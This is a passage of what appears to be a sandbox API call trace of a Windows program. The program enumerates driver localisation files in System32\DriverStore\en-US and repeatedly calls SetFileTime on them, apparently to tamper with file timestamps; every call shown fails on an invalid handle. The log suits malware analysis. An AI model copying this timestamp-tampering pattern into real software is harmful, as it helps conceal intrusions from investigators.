returned="dc21x4vm.inf_loc" [0144.871] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.871] CloseHandle (hObject=0xffffffff) returned 0 [0144.872] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="disk.inf_loc", cAlternateFileName="")) returned 1 [0144.872] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.872] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\DigitalMediaDevice.inf_loc") returned="DigitalMediaDevice.inf_loc" [0144.872] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.872] CloseHandle (hObject=0xffffffff) returned 0 [0144.872] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="display.inf_loc", cAlternateFileName="")) returned 1 [0144.872] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.873] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\disk.inf_loc") returned="disk.inf_loc" [0144.873] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.873] CloseHandle (hObject=0xffffffff) returned 0 [0144.873] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1878, dwReserved0=0x0, dwReserved1=0x0, cFileName="divacx64.inf_loc", cAlternateFileName="")) returned 1 [0144.873] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.873] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\display.inf_loc") returned="display.inf_loc" [0144.873] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.874] CloseHandle (hObject=0xffffffff) returned 0 [0144.874] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9bca, dwReserved0=0x0, dwReserved1=0x0, cFileName="dot4.inf_loc", cAlternateFileName="")) returned 1 [0144.874] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.874] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\divacx64.inf_loc") returned="divacx64.inf_loc" [0144.874] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.874] CloseHandle (hObject=0xffffffff) returned 0 [0144.875] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1466, dwReserved0=0x0, dwReserved1=0x0, cFileName="dot4prt.inf_loc", cAlternateFileName="")) returned 1 [0144.875] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.875] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\dot4.inf_loc") returned="dot4.inf_loc" [0144.875] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.875] CloseHandle (hObject=0xffffffff) returned 0 [0144.875] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca56611, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca56611, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAPHost.inf_loc", cAlternateFileName="")) returned 1 [0144.875] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.876] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\dot4prt.inf_loc") returned="dot4prt.inf_loc" [0144.876] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.876] CloseHandle (hObject=0xffffffff) returned 0 [0144.876] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="EhStorCertDrv.inf_loc", cAlternateFileName="")) returned 1 [0144.876] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.876] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\EAPHost.inf_loc") returned="EAPHost.inf_loc" [0144.877] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.877] CloseHandle (hObject=0xffffffff) returned 0 [0144.877] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EhStorPwdDrv.inf_loc", cAlternateFileName="")) returned 1 [0144.877] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.877] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\EhStorCertDrv.inf_loc") returned="EhStorCertDrv.inf_loc" [0144.877] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.878] CloseHandle (hObject=0xffffffff) returned 0 [0144.878] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x36a, dwReserved0=0x0, dwReserved1=0x0, cFileName="elxstor.inf_loc", cAlternateFileName="")) returned 1 [0144.878] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.878] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\EhStorPwdDrv.inf_loc") returned="EhStorPwdDrv.inf_loc" [0144.878] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.878] CloseHandle (hObject=0xffffffff) returned 0 [0144.879] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="faxca003.inf_loc", cAlternateFileName="")) returned 1 [0144.879] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.879] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\elxstor.inf_loc") returned="elxstor.inf_loc" [0144.879] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.879] CloseHandle (hObject=0xffffffff) returned 0 [0144.879] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="faxcn001.inf_loc", cAlternateFileName="")) returned 1 [0144.880] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.880] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\faxca003.inf_loc") returned="faxca003.inf_loc" [0144.880] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.880] CloseHandle (hObject=0xffffffff) returned 0 [0144.881] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="faxcn002.inf_loc", cAlternateFileName="")) returned 1 [0144.881] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.881] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\faxcn001.inf_loc") returned="faxcn001.inf_loc" [0144.881] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.881] CloseHandle (hObject=0xffffffff) returned 0 [0144.881] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="fdc.inf_loc", cAlternateFileName="")) returned 1 [0144.881] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.882] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\faxcn002.inf_loc") returned="faxcn002.inf_loc" [0144.882] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.882] CloseHandle (hObject=0xffffffff) returned 0 [0144.882] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="flpydisk.inf_loc", cAlternateFileName="")) returned 1 [0144.882] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.882] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\fdc.inf_loc") returned="fdc.inf_loc" [0144.883] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.883] CloseHandle (hObject=0xffffffff) returned 0 [0144.883] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb46, dwReserved0=0x0, dwReserved1=0x0, cFileName="gameport.inf_loc", cAlternateFileName="")) returned 1 [0144.883] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.883] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\flpydisk.inf_loc") returned="flpydisk.inf_loc" [0144.883] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.884] CloseHandle (hObject=0xffffffff) returned 0 [0144.884] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="hal.inf_loc", cAlternateFileName="")) returned 1 [0144.884] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.884] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\gameport.inf_loc") returned="gameport.inf_loc" [0144.884] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.884] CloseHandle (hObject=0xffffffff) returned 0 [0144.884] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="hdaudbus.inf_loc", cAlternateFileName="")) returned 1 [0144.885] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.885] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hal.inf_loc") returned="hal.inf_loc" [0144.885] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.885] CloseHandle (hObject=0xffffffff) returned 0 [0144.885] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba12, dwReserved0=0x0, dwReserved1=0x0, cFileName="hdaudio.inf_loc", cAlternateFileName="")) returned 1 [0144.885] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.885] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hdaudbus.inf_loc") returned="hdaudbus.inf_loc" [0144.886] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.886] CloseHandle (hObject=0xffffffff) returned 0 [0144.886] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x101a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hdaudss.inf_loc", cAlternateFileName="")) returned 1 [0144.886] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.886] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hdaudio.inf_loc") returned="hdaudio.inf_loc" [0144.886] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.886] CloseHandle (hObject=0xffffffff) returned 0 [0144.886] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hidbth.inf_loc", cAlternateFileName="")) returned 1 [0144.887] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.887] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hdaudss.inf_loc") returned="hdaudss.inf_loc" [0144.887] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.887] CloseHandle (hObject=0xffffffff) returned 0 [0144.887] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiddigi.inf_loc", cAlternateFileName="")) returned 1 [0144.887] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.887] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hidbth.inf_loc") returned="hidbth.inf_loc" [0144.888] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.888] CloseHandle (hObject=0xffffffff) returned 0 [0144.888] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hidir.inf_loc", cAlternateFileName="")) returned 1 [0144.888] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.888] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hiddigi.inf_loc") returned="hiddigi.inf_loc" [0144.888] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.888] CloseHandle (hObject=0xffffffff) returned 0 [0144.888] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="hidirkbd.inf_loc", cAlternateFileName="")) returned 1 [0144.889] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.889] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hidir.inf_loc") returned="hidir.inf_loc" [0144.889] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.889] CloseHandle (hObject=0xffffffff) returned 0 [0144.889] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hidserv.inf_loc", cAlternateFileName="")) returned 1 [0144.889] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.889] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hidirkbd.inf_loc") returned="hidirkbd.inf_loc" [0144.890] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.890] CloseHandle (hObject=0xffffffff) returned 0 [0144.890] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x20c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hpoa1nd.inf_loc", cAlternateFileName="")) returned 1 [0144.890] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.890] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hidserv.inf_loc") returned="hidserv.inf_loc" [0144.891] SetFileTime (hFile=0xffffffff, 